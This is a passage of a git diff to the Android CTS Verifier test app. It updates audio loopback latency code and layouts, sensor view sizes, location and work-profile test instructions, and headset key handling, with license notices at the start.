+LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
+NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+======================================================================
+external/lzma/NOTICE
+
+LZMA SDK is written and placed in the public domain by Igor Pavlov.
+
+Some code in LZMA SDK is based on public domain code from another developers:
+  1) PPMd var.H (2001): Dmitry Shkarin
+  2) SHA-256: Wei Dai (Crypto++ library)
+
+You can copy, modify, distribute and perform LZMA SDK code, even for commercial purposes,
+all without asking permission.
+
+LZMA SDK code is compatible with open source licenses, for example, you can
+include it to GNU GPL or GNU LGPL code.
+
+======================================================================
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index 8232db9..81a8a45 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -12,7 +12,11 @@
         "frameworks/av/media/ndk/include",
         "system/core/include/cutils",
         "cts/apps/CtsVerifier/jni/megaaudio/player",
-        "cts/apps/CtsVerifier/jni/megaaudio/recorder"
+        "cts/apps/CtsVerifier/jni/megaaudio/recorder",
+        "external/oboe/include",
+        "external/oboe/src",
+        "external/oboe/src/common",
+        "external/oboe/src/aaudio",
     ],
     header_libs: ["jni_headers"],
     shared_libs: [
diff --git a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
index 6cc3be9..b475c50 100644
--- a/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
+++ b/apps/CtsVerifier/jni/audio_loopback/jni-bridge.cpp
@@ -19,10 +19,21 @@
 #include <jni.h>
 #include <stdint.h>
 
+// If the NDK is before O then define this in your build
+// so that AAudio.h will not be included.
+// #define OBOE_NO_INCLUDE_AAUDIO
+
+// Oboe Includes
+//#include <oboe/Oboe.h>
+#include <AAudioExtensions.h>
+
 #include "NativeAudioAnalyzer.h"
 
 extern "C" {
 
+//
+// com.android.cts.verifier.audio.NativeAnalyzerThread
+//
 JNIEXPORT jlong JNICALL Java_com_android_cts_verifier_audio_NativeAnalyzerThread_openAudio
   (JNIEnv * /*env */, jobject /* obj */,
           jint /* micSource */) {
@@ -131,4 +142,20 @@
     return 0;
 }
 
+//
+// com.android.cts.verifier.audio.audiolib.AudioUtils
+//
+JNIEXPORT jboolean JNICALL
+    Java_com_android_cts_verifier_audio_audiolib_AudioUtils_isMMapSupported(JNIEnv *env __unused) {
+
+    return oboe::AAudioExtensions().isMMapSupported();
+}
+
+JNIEXPORT jboolean JNICALL
+    Java_com_android_cts_verifier_audio_audiolib_AudioUtils_isMMapExclusiveSupported(
+        JNIEnv *env __unused) {
+
+    return oboe::AAudioExtensions().isMMapExclusiveSupported();
+}
+
 }
diff --git a/apps/CtsVerifier/res/layout-land/sensor_test.xml b/apps/CtsVerifier/res/layout-land/sensor_test.xml
index 5dbd95a..9d8f4d6 100644
--- a/apps/CtsVerifier/res/layout-land/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-land/sensor_test.xml
@@ -46,7 +46,7 @@
 
             <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                     android:visibility="gone"
-                    android:layout_width="0dp"
+                    android:layout_width="@dimen/snsr_glview_size"
                     android:layout_height="match_parent"
                     android:layout_weight="1"/>
 
diff --git a/apps/CtsVerifier/res/layout-port/sensor_test.xml b/apps/CtsVerifier/res/layout-port/sensor_test.xml
index 024a3f3..9d00b86 100644
--- a/apps/CtsVerifier/res/layout-port/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-port/sensor_test.xml
@@ -37,7 +37,7 @@
 
         <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                 android:visibility="gone"
-                android:layout_height="0dp"
+                android:layout_height="@dimen/snsr_glview_size"
                 android:layout_weight="1"
                 android:layout_width="match_parent"/>
 
diff --git a/apps/CtsVerifier/res/layout-small/sensor_test.xml b/apps/CtsVerifier/res/layout-small/sensor_test.xml
index 348e321..7f2805e 100644
--- a/apps/CtsVerifier/res/layout-small/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-small/sensor_test.xml
@@ -37,7 +37,7 @@
 
             <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                 android:visibility="gone"
-                android:layout_height="0dp"
+                android:layout_height="@dimen/snsr_glview_size"
                 android:layout_weight="1"
                 android:layout_width="match_parent"/>
 
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
index c8c7a69..ed4ca46 100644
--- a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -30,8 +30,6 @@
             android:layout_height="wrap_content"
             android:orientation="vertical">
 
-            <include layout="@layout/audio_loopback_header_layout"/>
-
             <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
@@ -43,10 +41,130 @@
                 <include layout="@layout/audio_loopback_device_layout" />
 
                 <LinearLayout
-                    android:orientation="vertical"
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="Pro Audio:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_pro_audio"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="MMAP Supported:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_mmap"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="MMAP Exclusive Supported:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_mmap_exclusive"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="Low Latency Support:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_low_latency"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="Test Path:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_testpath"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="Required Max Latency (ms):"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_must_latency"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text="Recommended Max Latency (ms):"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_recommended_latency"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
                     android:layout_width="match_parent"
                     android:layout_height="match_parent"
                     android:id="@+id/audio_loopback_layout">
+
                     <Button
                         android:layout_width="wrap_content"
                         android:layout_height="wrap_content"
@@ -57,7 +175,6 @@
                         android:nextFocusDown="@+id/pass_button"
                         android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
                         android:nextFocusRight="@+id/pass_button" />
-
                 </LinearLayout>
 
                 <include layout="@layout/audio_loopback_footer_layout"/>
diff --git a/apps/CtsVerifier/res/layout/keychain_test.xml b/apps/CtsVerifier/res/layout/byod_test_with_prepare.xml
similarity index 90%
rename from apps/CtsVerifier/res/layout/keychain_test.xml
rename to apps/CtsVerifier/res/layout/byod_test_with_prepare.xml
index 09708c7..e773b35 100644
--- a/apps/CtsVerifier/res/layout/keychain_test.xml
+++ b/apps/CtsVerifier/res/layout/byod_test_with_prepare.xml
@@ -23,16 +23,15 @@
             android:layout_height="320dip"
             android:layout_weight="2">
         <TextView
-                android:id="@+id/provisioning_byod_keychain_instructions"
+                android:id="@+id/instructions_text"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:padding="10dip"
-                android:text="@string/provisioning_byod_keychain_info_start"
                 android:textSize="18dip" />
     </ScrollView>
 
     <TextView
-          android:id="@+id/provisioning_byod_keychain_test_log"
+          android:id="@+id/test_log"
           android:layout_width="match_parent"
           android:layout_height="wrap_content"
           android:padding="10dip"
diff --git a/apps/CtsVerifier/res/layout/location_checker.xml b/apps/CtsVerifier/res/layout/location_checker.xml
new file mode 100644
index 0000000..ddc41bc
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/location_checker.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <TextView
+            android:id="@+id/status_text"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"
+            android:textSize="18dip" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/values-small-watch/dimens.xml b/apps/CtsVerifier/res/values-small-watch/dimens.xml
new file mode 100644
index 0000000..24e84c5
--- /dev/null
+++ b/apps/CtsVerifier/res/values-small-watch/dimens.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+    <dimen name="snsr_glview_size">80dp</dimen>
+</resources>
diff --git a/apps/CtsVerifier/res/values/dimens.xml b/apps/CtsVerifier/res/values/dimens.xml
index a1e1955..891e740 100644
--- a/apps/CtsVerifier/res/values/dimens.xml
+++ b/apps/CtsVerifier/res/values/dimens.xml
@@ -36,6 +36,8 @@
     <dimen name="snsr_view_padding_left">8dp</dimen>
     <dimen name="snsr_view_padding_right">8dp</dimen>
 
+    <dimen name="snsr_glview_size">0dp</dimen>
+
     <dimen name="js_padding">10dp</dimen>
 
     <!-- Default screen margins, per the Android Design guidelines. -->
@@ -50,5 +52,6 @@
     <!-- Should be the same as base/libs/WindowManager/Shell/res/values
         R.dimen.bubble_expanded_default_height -->
     <dimen name="bubble_expanded_view_min_height">180dp</dimen>
+    <dimen name="bubble_expanded_view_max_height_buffer">100dp</dimen>
 
 </resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index cae07bb..7f9e132 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -790,14 +790,13 @@
         This test checks that APIs to notify the companion app of its associated device going in and
         out of Bluetooth range are working correctly.
         Before proceeding, make sure you have a Bluetooth LE device nearby and
-        discoverable. Also, make sure that bluetooth is turned on the device.
+        discoverable. Also, make sure that bluetooth is turned on. Note that, the nearby device can
+        not be a phone since it considers advertising as classic device scan.
         First, you press the go button, wait for a dialog to pop up and select your device from the
         list. Second, make sure your bluetooth device is unreachable(you can power off/reboot your
         Bluetooth device or put it into a Faraday bag) and press the Device Gone button.
         Lastly, make your bluetooth device reachable by waiting for the device to power on or
-        removing it from the Faraday bag and press the Device Present button. Note that, if you are
-        using a phone for the testing, please manually pair on another Bluetooth phone before
-        pressing Device Gone and Device Present.
+        removing it from the Faraday bag and press the Device Present button.
     </string>
 
     <string name="companion_service_test_gone_text">
@@ -908,7 +907,6 @@
         Make sure the device has line of sight to GPS satellites
         (for example, outside, or near a window)
         and then press OK to run the automated tests.</string>
-    <string name="location_listener_activity">Location listener</string>
 
     <!-- Strings for Location GNSS tests -->
     <string name="location_gnss_constellation_type_test">GNSS Measurement Constellation Test</string>
@@ -2277,6 +2275,8 @@
     <string name="action_test_title">Action</string>
     <string name="nls_visibility">Please change the lock screen setting to hide sensitive content
         on the lockscreen</string>
+    <string name="nls_restore_visibility">Please change the lock screen setting to show all
+        content on the lockscreen</string>
     <string name="add_screen_lock">Add a secure screen lock of any type</string>
     <string name="remove_screen_lock">Remove the added screen lock</string>
     <string name="secure_action_lockscreen">Lock the screen and find the SecureActionOnLockScreenTest
@@ -3227,6 +3227,15 @@
         \n
         Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
     </string>
+    <string name="provisioning_byod_location_failed">Failed to obtain location from any provider</string>
+    <string name="provisioning_byod_location_no_provider">Cannot obtain location: no providers available.</string>
+    <string name="provisioning_byod_location_trying">Trying to obtain location using providers: %1$s</string>
+    <string name="provisioning_byod_location_obtained">Location has been obtained.</string>
+    <string name="provisioning_byod_pass_message">PASS: %1$s</string>
+    <string name="provisioning_byod_fail_message">FAIL: %1$s</string>
+    <string name="provisioning_byod_location_test_activity">Location listener</string>
+    <string name="provisioning_byod_location_checker_activity">Location checker</string>
+
 
     <string name="provisioning_byod_wifi_data_usage_settings">Profile-aware data usage settings (Wi-Fi)</string>
     <string name="provisioning_byod_wifi_data_usage_settings_instruction">
@@ -3310,46 +3319,40 @@
 
     <string name="provisioning_byod_no_gps_location_feature">No GPS feature present. Skip test.</string>
     <string name="provisioning_byod_location_mode_enable">Enable location</string>
-    <string name="provisioning_byod_location_mode_enable_toast_location_change">Location changed</string>
     <string name="provisioning_byod_location_mode_enable_missing_permission">Permission missing</string>
     <string name="provisioning_byod_location_mode_enable_instruction">
-        This test verifies that the location updates can be enabled for the managed profile apps.\n
-        If prompted, accept the location permission after pressing go.\n
-        1. Press the go button to go to the location settings page, set both the main location switch and the work profile location switch enabled.\n
-        2. Press home to go to the launcher.\n
-        3. Move your position a little bit, verify that location updates toast comes up.\n
-        Please wait until the location updates or timeout toast message shows up before going back to the cts-verifier tests.\n
-        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        This test verifies that the location can be enabled for the managed profile apps.\n
+        1. Press the \"Prepare Test\" button to go to the location settings page, set both the main location switch and the work profile location switch enabled.\n
+        2. Return using back button and press Go button to check if location is available. If prompted, accept the location permission.\n
+        3. Check the result message below and mark the test accordingly.\n
+        \n
+        If the test fails to obtain location, try to enable as many location services as possible and move outside to make GPS work.
     </string>
 
     <string name="provisioning_byod_location_mode_disable">Disable location</string>
     <string name="provisioning_byod_location_mode_time_out_toast">Timeout waiting for gps location change</string>
     <string name="provisioning_byod_location_mode_disable_instruction">
-        This test verifies that the location updates can be disabled for the managed profile apps through the main location switch.\n
-        1. Press the go button to go to the location settings page, set the main location switch disabled.\n
-        2. Press home to go to the launcher.\n
-        3. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
-        Please wait until the timeout or location updates toast message shows up before going back to the cts-verifier tests.\n
-        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        This test verifies that the location can be disabled for the managed profile apps through the main location switch.\n
+        1. Press the \"Prepare Test\" button to go to the location settings page, set the main location switch disabled.\n
+        2. Return using back button and press Go button to check if location is available.  If prompted, accept the location permission.\n
+        3. Check the result message below and mark the test accordingly.\n
     </string>
 
     <string name="provisioning_byod_work_location_mode_disable">Disable location for work profile</string>
     <string name="provisioning_byod_work_location_mode_disable_instruction">
-        This test verifies that the location updates can be disabled for the managed profile apps through work profile location switch.\n
-        1. Press the go button to go to the location settings page, set the work location switch disabled while the main location switch is still enabled.\n
-        2. Press home to go to the launcher.\n
-        3. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
-        Please wait until the timeout or location updates toast message shows up before going back to the cts-verifier tests.\n
-        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        This test verifies that the location can be disabled for the managed profile apps through work profile location switch.\n
+        1. Press the \"Prepare Test\" button to go to the location settings page, set the work location switch disabled while the main location switch is still enabled.\n
+        2. Return using back button and press Go button to check if location is available. If prompted, accept the location permission.\n
+        3. Check the result message below and mark the test accordingly.\n
     </string>
     <string name="provisioning_byod_primary_location_when_work_disabled">Primary receives updates while work location is disabled</string>
     <string name="provisioning_byod_primary_location_when_work_disabled_instruction">
-        This test verifies that location updates are still received by primary profile when location updates are disabled for managed profile apps through work profile location switch.\n
-        1. Press the go button to go to the location settings page, set the work location switch disabled while the main location switch is still enabled.\n
-        2. Press home to go to the launcher.\n
-        3. Move your position a little bit, verify that location updates toast comes up.\n
-        Please wait until the location updates or timeout toast message shows up before going back to the cts-verifier tests.\n
-        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        This test verifies that location is still available by primary profile when location updates are disabled for managed profile apps through work profile location switch.\n
+        1. Press the \"Prepare Test\" button to go to the location settings page, set the work location switch disabled while the main location switch is still enabled.\n
+        2. Return using back button and press Go button to check if location is available. If prompted, accept the location permission.\n
+        3. Check the result message below and mark the test accordingly.\n
+        \n
+        If the test fails to obtain location, try to enable as many location services as possible and move outside to make GPS work.
     </string>
 
     <string name="provisioning_byod_personal_ringtones">Personal ringtones</string>
@@ -4051,7 +4054,8 @@
     <string name="disallow_add_user">Disallow add user</string>
     <string name="disallow_add_user_action">Adding a new user</string>
     <string name="disallow_adjust_volume">Disallow adjust volume</string>
-    <string name="disallow_adjust_volume_action">Adjusting the volume</string>
+    <string name="disallow_adjust_volume_action">Adjusting the volume\n
+        NOTE: If the device does not support volume adjustment in Settings app please skip this test and mark it as passing.\n</string>
     <string name="disallow_config_date_time">Disallow config date time</string>
     <string name="disallow_config_date_time_action">Configuring auto time, time, auto date or date</string>
     <string name="disallow_config_location">Disallow config location</string>
@@ -4090,7 +4094,8 @@
     <string name="disallow_modify_accounts">Disallow modify accounts</string>
     <string name="disallow_modify_accounts_action">Adding an account, and also removing an account (after you have previously added one)</string>
     <string name="disallow_network_reset">Disallow network reset</string>
-    <string name="disallow_network_reset_action">Resetting network settings</string>
+    <string name="disallow_network_reset_action">Resetting network settings\n
+        NOTE: If the device does not support network reset please skip this test and mark it as passing.\n</string>
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
@@ -4472,16 +4477,19 @@
          2. Press the \"Disable USB data signaling\" button to disable USB data signaling on
          the device. When disabled, all USB data connections (except from charging functions)
          are prohibited.\n
-         3. Press the \"Go\" button to go to Settings and confirm that the following preferences
-         cannot be selected:\n
+         3. Press the \"Go\" button to go to Settings and confirm that the "USB" preferences in
+         \"System > Developer Options\" cannot be selected and "USB" preference in
+         \"Connected devices\" has disappeared.:\n
               - Connected devices > USB\n
               - System > Developer Options > USB debugging\n
               - System > Developer Options > Default USB configuration\n
               - System > Developer Options > Disable USB audio routing\n
          4. Verify that you cannot mount the device as a USB drive on your desktop computer and
          cannot access files from your phone through USB.\n
-         5. Press the \"Enable USB data signaling\" button to re-enable USB data signaling on
-         the device.\n
+         5. Press the \"Enable USB data signaling\" button to re-enable USB data signaling and
+         replug USB cable in the device. After that the "USB" preferences in
+         \"System > Developer Options\" can be selected and "USB" preference in
+         \"Connected devices\" has appeared.\n
          Please mark the test accordingly.
     </string>
     <string name="device_owner_enable_usb_data_signaling_test">Enable USB data signaling</string>
@@ -5074,14 +5082,15 @@
     <!-- Audio Loopback Latency Test -->
     <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
     <string name="audio_loopback_info">
-          This test requires some form of audio loopback. This can be either:\n
+        This test verifies that the device can achieve the required or recommended loopback latency.
+        To pass the test, the device need only achieve this on one of the following audio paths:\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a 3.5mm headset jack.\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a USB audio adapter.\n
-          - a USB interface with patch cords connecting the input and output jaccks.
+          - a USB interface with patch cords connecting the input and output jacks.\n
           Please connect one of these Loopback mechanisms, and proceed with the instructions
-          on the screen.
-          The system will measure the input-output audio latency by injecting a pulse on the output,
-          and computing the distance between replicas of the pulse.
+          on the screen. The required &amp; recommended latencies will be displayed.
+          The system will measure the input-output audio latency by injecting an audio signal to
+          the output and compute the time between generating the signal and recording it back.
           You can vary the Audio Level slider to ensure the pulse will feed back at adequate levels.
           Repeat until a confidence level >= 0.6 is achieved.
     </string>
@@ -5097,14 +5106,24 @@
     <string name="audio_loopback_test_btn">Test</string>
     <string name="audio_loopback_results_text">Results...</string>
 
-    <!-- Audio Loopback Latency Test -->
+    <string name="audio_loopback_failure">FAILURE - Could not allocate analyzer thread.</string>
+
+    <!-- Audio Cold-Start Latency Test -->
     <string name="audio_coldstart_out_latency_test">Audio Cold Start Output Latency Test</string>
     <string name="audio_coldstart_in_latency_test">Audio Cold Start Input Latency Test</string>
 
-    <string name="audio_coldstart_output_info">Info Here</string>
+    <string name="audio_coldstart_output_info">
+        This test measures the time required to output audio from a suspended \"cold\" audio system.
+        It requires that touch-sounds be disabled in the device \"Sound &amp; Vibration\" settings
+        panel.
+    </string>
     <string name="audio_coldstart_input_info">Info Here</string>
     <string name="audio_coldstart_outputlbl">Output Cold Start Latency</string>
     <string name="audio_coldstart_inputlbl">Input Cold Start Latency</string>
+    <string name="audio_coldstart_touchsounds_message">
+        Touch sounds are ENABLED. Please DISABLE touch sounds in the \"Sound &amp; Vibration\" settings panel.
+    </string>
+    <string name="audio_coldstart_notouchsounds_message">Touch sound are DISABLED.</string>
 
     <!-- Audio Frequency Line Test -->
     <string name="audio_frequency_line_test">Audio Frequency Line Test</string>
@@ -5266,10 +5285,13 @@
     <string name="audio_tap2tone_info">This tests the latency from a screen interaction to a
         resulting tone. This time is a combination of touch screen latency and audio latency.\nThis
         test is best conducted in a quiet room with the device laying on a table. Select
-        the Audio API to test and press the \"Start\" button. Use your fingernail to tap on the
-        field below to trigger the test tone. Results will be displayed in the field above the
-        waveform display.\nFive successful tests runs are required to determine if the test
-        as a whole succeeds.
+        the Audio API to test (\"Native\" has the lowest latency) and press the \"Start\" button.
+        Use your fingernail to tap ONCE on the field below to trigger the test tone. DO NOT leave
+        the finger resting on the test field. A strong "tick" sound from the fingernail striking
+        the display is necessary to register the start of the test process. After tapping ONCE,
+        wait until the results are displayed in the field above the waveform display before
+        tapping for the next test run.\nFive successful tests runs are required to determine
+        if the test as a whole succeeds.
     </string>
     <string name="audio_tap2tone_spec">80ms or less average latency is STRONGLY RECOMMENDED to pass.</string>
     <string name="audio_tap2tone_too_few">Not enough edges. Use fingernail.</string>
@@ -5538,16 +5560,8 @@
     <!-- Pro Audio Test -->
     <string name="proaudio_test">Pro Audio Test</string>
     <string name="proaudio_info">
-       This test requires that you have connected a supported USB Audio Peripheral device
-       (not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
-       audio inputs. Alternatively, for devices with an analog audio jack or USB-C Digital
-       to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
-       can be used. Also, if there is an input level
-       control on the peripheral, it must be set to a non-zero value. When the test has
-       verified support for a valid audio peripheral, press the \"Round-Trip Test\" button
-       to complete the test.
-       The latency measurement is generally accurate even when the volume is low. But you may
-       need to increase the volume to bring the confidence number above the threshold.
+        This test will check for validity of the \"Pro Audio\" and subsidiary flags. Note
+        that this test no longer requires a loopback audio device.
     </string>
     <string name="proaudio_hdmi_infotitle">HDMI Support</string>
     <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
@@ -5871,6 +5885,12 @@
         have the smallest height.\n\n
     2. Open the bubble, it will tell you if the height is correct.</string>
     <string name="bubbles_test_min_height_button">Send small height bubble</string>
+    <!-- Expanded view max height -->
+    <string name="bubbles_test_max_height_title">Expanded view max height</string>
+    <string name="bubbles_test_max_height_verify">1. Press the button below to update the bubble to
+        have the maximum height.\n\n
+        2. Open the bubble, it will tell you if the height is correct.</string>
+    <string name="bubbles_test_max_height_button">Send max height bubble</string>
     <!-- Low ram -->
     <string name="bubbles_test_lowram_title">No bubbles on low memory device</string>
     <string name="bubbles_test_lowram_verify">Click the button below and verify that a
@@ -6001,12 +6021,6 @@
 
     <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
     <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
-    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
-        This can be done in one of three ways:\n
-        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
-        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
-        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with audio patch cables.
-    </string>
 
     <string name="display_cutout_test">DisplayCutout Test</string>
     <string name="display_cutout_test_instruction">\n
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index da9e723..c998c54 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -86,6 +86,7 @@
 
     // Buttons
     private boolean mHasHeadsetHook;
+    private boolean mHasPlayPause;
     private boolean mHasVolUp;
     private boolean mHasVolDown;
 
@@ -128,6 +129,8 @@
         mPlaybackSuccessBtn.setOnClickListener(this);
         mPlaybackFailBtn = (Button)findViewById(R.id.headset_analog_play_no);
         mPlaybackFailBtn.setOnClickListener(this);
+        mPlaybackSuccessBtn.setEnabled(false);
+        mPlaybackFailBtn.setEnabled(false);
 
         // Keycodes
         mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook);
@@ -163,7 +166,7 @@
             return mPlugIntentReceived &&
                     mHeadsetDeviceInfo != null &&
                     mPlaybackSuccess &&
-                    mHasHeadsetHook && mHasVolUp && mHasVolDown;
+                    (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
         }
     }
 
@@ -230,6 +233,10 @@
         } else {
             mPlaybackSuccessBtn.setEnabled(false);
         }
+
+        mPlaybackSuccessBtn.setEnabled(success);
+        mPlaybackFailBtn.setEnabled(success);
+
         getPassButton().setEnabled(calculatePass());
 
         getReportLog().addValue(
@@ -259,7 +266,8 @@
     }
 
     private void showKeyMessagesState() {
-        mHeadsetHookText.setTextColor(mHasHeadsetHook ? Color.WHITE : Color.GRAY);
+        mHeadsetHookText.setTextColor((mHasHeadsetHook || mHasPlayPause)
+                ? Color.WHITE : Color.GRAY);
         mHeadsetVolUpText.setTextColor(mHasVolUp ? Color.WHITE : Color.GRAY);
         mHeadsetVolDownText.setTextColor(mHasVolDown ? Color.WHITE : Color.GRAY);
     }
@@ -322,6 +330,8 @@
 
             case R.id.headset_analog_stop:
                 stopPlay();
+                mPlaybackSuccessBtn.setEnabled(true);
+                mPlaybackFailBtn.setEnabled(true);
                 break;
 
             case R.id.headset_analog_play_yes:
@@ -397,18 +407,32 @@
                 mHasHeadsetHook = true;
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
+                getReportLog().addValue(
+                        "KEYCODE_HEADSETHOOK", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                break;
+
+            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+                mHasPlayPause = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                getReportLog().addValue(
+                        "KEYCODE_MEDIA_PLAY_PAUSE", 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
